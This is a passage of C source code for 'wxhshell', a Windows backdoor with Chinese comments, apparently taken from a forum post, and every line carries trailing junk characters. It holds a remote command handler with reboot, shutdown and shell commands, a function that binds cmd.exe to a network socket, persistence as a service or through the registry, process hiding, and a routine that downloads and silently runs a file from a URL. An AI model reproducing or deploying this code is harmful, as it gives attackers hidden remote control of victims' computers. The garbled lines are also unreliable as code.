  } 2@08 V|  
  else { 68FxM#xR  
6xdu}l=%  
    switch(cmd[0]) { "1%<IqpU+  
  "x\3`Qk  
  // 帮助 _QvyFKAM  
  case '?': { t8i"f L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g ywI@QD%#  
    break; *Q!b%DIa$  
  } hNDhee`%6  
  // 安装 [.6>%G1C  
  case 'i': { mI9h| n  
    if(Install())  cD0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] |u}P2  
    else "oz @w'rG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7;CeQx/W)W  
    break; [2i+f <  
    } `Z|s p  
  // 卸载 =#BeAsFfO  
  case 'r': { rO]C`bg  
    if(Uninstall()) 1Dt"Rcn"4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X&wK<  
    else $k'f)E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3Xd+>'H  
    break; NnHwk)'  
    } #cdLg-v  
  // 显示 wxhshell 所在路径 d.2b7q09  
  case 'p': { ) V@qH]  
    char svExeFile[MAX_PATH]; '0t j2  
    strcpy(svExeFile,"\n\r"); ATnD~iACY  
      strcat(svExeFile,ExeFile); 6\5U%~78  
        send(wsh,svExeFile,strlen(svExeFile),0); > 7;JZuVo  
    break; w-B\AK?}  
    } d[~c-G6  
  // 重启 |o!<@/iH=  
  case 'b': { X[@>1tl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); * uEU9fX  
    if(Boot(REBOOT)) ]VwAHT&je  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jQb=N%5s  
    else { IC}zgvcW  
    closesocket(wsh); LrPDpTd  
    ExitThread(0); @b>]q$)(}  
    } {_q2kk  
    break; 46XB6z01  
    } N23s{S t  
  // 关机 }rO4b>J  
  case 'd': { MO _9Yi  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8z/^Ql  
    if(Boot(SHUTDOWN)) d\)v62P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]ei] ) JI  
    else { G x,D'H'  
    closesocket(wsh); 1c}'o*K_%  
    ExitThread(0); nn=JM7e\9  
    } 1Rczf(,aT  
    break; =x7ODBYW^  
    } Ev^Xs6 }"  
  // 获取shell ^k_!+8"q{  
  case 's': { k&~vVx  
    CmdShell(wsh); s &.Z;X  
    closesocket(wsh); il#rdJ1@t  
    ExitThread(0); e<p$Op  
    break; ?0?'  
  } kkJg/:g  
  // 退出 3zl!x  
  case 'x': { rW`F|F%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UoLO#C0i  
    CloseIt(wsh); #e|eWi>  
    break; iEU(1?m2-  
    } Etl7V  
  // 离开 Fe=4^.  
  case 'q': { 3YLnh@-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); JQtH },T r  
    closesocket(wsh); "q(&<+D@  
    WSACleanup(); ;m5M: Z"  
    exit(1); {'b8;x8h  
    break; SHGO;  
        } *,R e&N8  
  } %]R#}amW  
  } `Ch6"= t  
H!Od.$ZIX  
  // 提示信息 8odVdivh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HhpP}9P;  
} @i`gR%  
  } w+MdQ@'5  
<pE G8_{}  
  return; o?b%L  
} ;T_9;RU<'b  
{c J6Lq&  
// shell模块句柄 h)<R#xw  
int CmdShell(SOCKET sock) )8<X6  
{ c8'8DM  
STARTUPINFO si; I#Bz UF  
ZeroMemory(&si,sizeof(si)); Ym6ec|9;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (8*lLZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `j(+Y  
PROCESS_INFORMATION ProcessInfo; <N*>9S,}  
char cmdline[]="cmd"; asF- mf;D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <G&v  
  return 0; _ 4W#6!  
} c !;wp,c  
x:bYd\ EJ[  
// 自身启动模式 3Yf$WE8#l  
int StartFromService(void) gON6jnDO  
{ GmHsO/  
typedef struct O-B3@qQ. h  
{ Q?tV:jogY  
  DWORD ExitStatus; p']AXJ`Z  
  DWORD PebBaseAddress; ]S:@=9JB'  
  DWORD AffinityMask; [_0g^(`  
  DWORD BasePriority; j~{2fd<>  
  ULONG UniqueProcessId; i f"v4PHq  
  ULONG InheritedFromUniqueProcessId; N0piL6Js  
}   PROCESS_BASIC_INFORMATION; Stc\P]%d  
- VE#:&  
PROCNTQSIP NtQueryInformationProcess; q1gf9` 0  
G !~BA*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =I5XG"",  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g\l;>  
R#`itIYh  
  HANDLE             hProcess; "a g_   
  PROCESS_BASIC_INFORMATION pbi; ~h@tezF  
U<t-LF3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5_`}$"<~  
  if(NULL == hInst ) return 0; em]K7B=  
K+}Z6_:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W"*R#:Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f8 ja Mn9o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -hzza1DP  
4 * OU  
  if (!NtQueryInformationProcess) return 0; S3_4i;K\  
HDEG/k/~m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +doT^&2u*  
  if(!hProcess) return 0; br;G5^j3?  
]M2<I#hF.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ./ :86@O  
KRtu@;?  
  CloseHandle(hProcess); i#lo? \PO>  
ypd?mw&1}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4yA`);r62  
if(hProcess==NULL) return 0; g@2.A;N0  
Z]Y4NO;  
HMODULE hMod; ]Rye AJ3  
char procName[255]; caP  
unsigned long cbNeeded; |z'?3?,~  
j+9 S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m\f_u*  
(*ng$z Z$  
  CloseHandle(hProcess); V\"5<>+O  
[!le 9aNg  
if(strstr(procName,"services")) return 1; // 以服务启动 5\S7Va;W  
sV<4^n7  
  return 0; // 注册表启动 w b[(_@eZ  
} X W)A~wPBs  
=5`@:!t7  
// 主模块 /)1-^ju  
int StartWxhshell(LPSTR lpCmdLine) dO[4}FZ$  
{ gp)ds^  
  SOCKET wsl; _p&$X  
BOOL val=TRUE; ;N\?]{ L  
  int port=0; S:YL<_oI|  
  struct sockaddr_in door; j 7 URg>i0  
q?L(V+X  
  if(wscfg.ws_autoins) Install(); G!8pF  
b0X[x{k"  
port=atoi(lpCmdLine); 5B 7*Z  
^W D$ gd  
if(port<=0) port=wscfg.ws_port; \zU5G#LQ  
?U08A{ c  
  WSADATA data; \2pFFVT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A232"p_  
E5 oD|'=WA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   jyhzLu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); / yi:Q0  
  door.sin_family = AF_INET; HIm, "iYk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1RbYPX  
  door.sin_port = htons(port); $0}bi:7  
rbPs~C-[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { H4NEB1 TO>  
closesocket(wsl); }yw;L(3  
return 1; 9/Dt:R3QU  
} N| Pm|w*?  
.,Qnn}:l  
  if(listen(wsl,2) == INVALID_SOCKET) { ^gzNP#A<'o  
closesocket(wsl); "PaGDhS  
return 1; fR4l4 GU?)  
} <UJJ],)^1A  
  Wxhshell(wsl); 7[BL 1HI*  
  WSACleanup(); |nN/x<v  
io7U[#  
return 0; wG5RN;`V  
kA!(}wRL  
} h(Ed%  
5iddB $  
// 以NT服务方式启动 2nkj;x{H$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lmKq xs4  
{ \!Zh="hN  
DWORD   status = 0; a~F@3Pd  
  DWORD   specificError = 0xfffffff; ;J-Ogt@d7  
WgJAr73 l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q_y,j&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DXW?;|8)O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8$ZSF92C  
  serviceStatus.dwWin32ExitCode     = 0; wp.e3l  
  serviceStatus.dwServiceSpecificExitCode = 0; 9}cuAVI  
  serviceStatus.dwCheckPoint       = 0; /}`/i(k  
  serviceStatus.dwWaitHint       = 0; 3D{4vMm X  
^:DhHqvK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Pmlgh&Z  
  if (hServiceStatusHandle==0) return; gvqd 1?0w  
v\(m"|4(i  
status = GetLastError(); C'/M/|=Q#  
  if (status!=NO_ERROR) "P5bYq%0v  
{ $H-D9+8 7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1{x~iZa  
    serviceStatus.dwCheckPoint       = 0; ZT"|o\G^Q  
    serviceStatus.dwWaitHint       = 0; Q\#{2!I  
    serviceStatus.dwWin32ExitCode     = status; 6'Yn|A  
    serviceStatus.dwServiceSpecificExitCode = specificError; b+].Uc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |sqo+E  
    return; H! r Kz  
  } }<ONxg6Kb  
BrH;(*H)8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; I.+)sB?5  
  serviceStatus.dwCheckPoint       = 0; ClMtl59  
  serviceStatus.dwWaitHint       = 0; *C@[5#CA2z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iW1ih Q X  
} A?D"j7JD=L  
0tCOb9  
// 处理NT服务事件,比如:启动、停止 .(7C)P{ .0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0IgnpeA]  
{ r@[VY g~  
switch(fdwControl) xSDE6]  
{ 0*Km}?;0-  
case SERVICE_CONTROL_STOP: `bZU&A(`Be  
  serviceStatus.dwWin32ExitCode = 0; E)Qh]:<2v  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PR@4' r|a  
  serviceStatus.dwCheckPoint   = 0; 7s8<FyFsjd  
  serviceStatus.dwWaitHint     = 0; 5m.KtnT)  
  { .\~P -{Hd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w$lfR ,  
  } 4nII/cPG  
  return; $wYuH9(  
case SERVICE_CONTROL_PAUSE: X!rQ@F3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8jjk?PUD8  
  break; '!^E92  
case SERVICE_CONTROL_CONTINUE: 37 O#aJ,K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Uty(sDtu  
  break; q"+ q  
case SERVICE_CONTROL_INTERROGATE: `+hy#1]  
  break; Md>f  
}; `}9 1S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a|P~LMPM  
} ECS<l*i57&  
$}^\=p}X  
// 标准应用程序主函数 adO!Gs9f?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I,<>%Z|'  
{ \'??  
Jn<e"  
// 获取操作系统版本 LPapD@Z  
OsIsNt=GetOsVer(); I#S~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !q-:rW? c  
762o~vY6$  
  // 从命令行安装 yxCM l.  
  if(strpbrk(lpCmdLine,"iI")) Install(); n4vXm  
k>:/D  
  // 下载执行文件 nI*(a:  
if(wscfg.ws_downexe) { t?9 ;cS4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^3WIl ]  
  WinExec(wscfg.ws_filenam,SW_HIDE); %on9C`/  
} 9xK4!~5V  
qX p,d  
if(!OsIsNt) { @0vC v  
// 如果时win9x,隐藏进程并且设置为注册表启动 F9k I'<Q  
HideProc(); Q"OV>klk  
StartWxhshell(lpCmdLine); kj{rk^x  
} TOco({/_/  
else 68p\WheCal  
  if(StartFromService())  Qh|-a@  
  // 以服务方式启动 yZ;k@t_WRD  
  StartServiceCtrlDispatcher(DispatchTable); `rz`3:ZH  
else 1o|0x\q  
  // 普通方式启动 6VH90KAT  
  StartWxhshell(lpCmdLine); v?YdLR  
e7XsyL'|p  
return 0; eg$5z Z  
}
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只看该作者 1 发表于: 2006-10-10
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